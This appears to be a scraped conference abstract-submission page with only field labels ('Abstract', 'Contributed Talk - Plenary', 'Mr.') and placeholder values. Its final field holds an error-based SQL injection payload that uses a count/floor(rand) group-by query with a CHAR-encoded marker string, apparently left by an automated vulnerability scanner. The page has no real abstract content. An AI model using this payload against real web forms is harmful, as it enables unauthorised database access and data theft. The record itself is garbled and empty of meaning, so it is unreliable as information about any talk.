Abstract

Contributed Talk - Plenary

Mr.

1
1

and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(97),CHAR(113),CHAR(102),CHAR(106),CHAR(102),CHAR(99),CHAR(99),CHAR(118)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and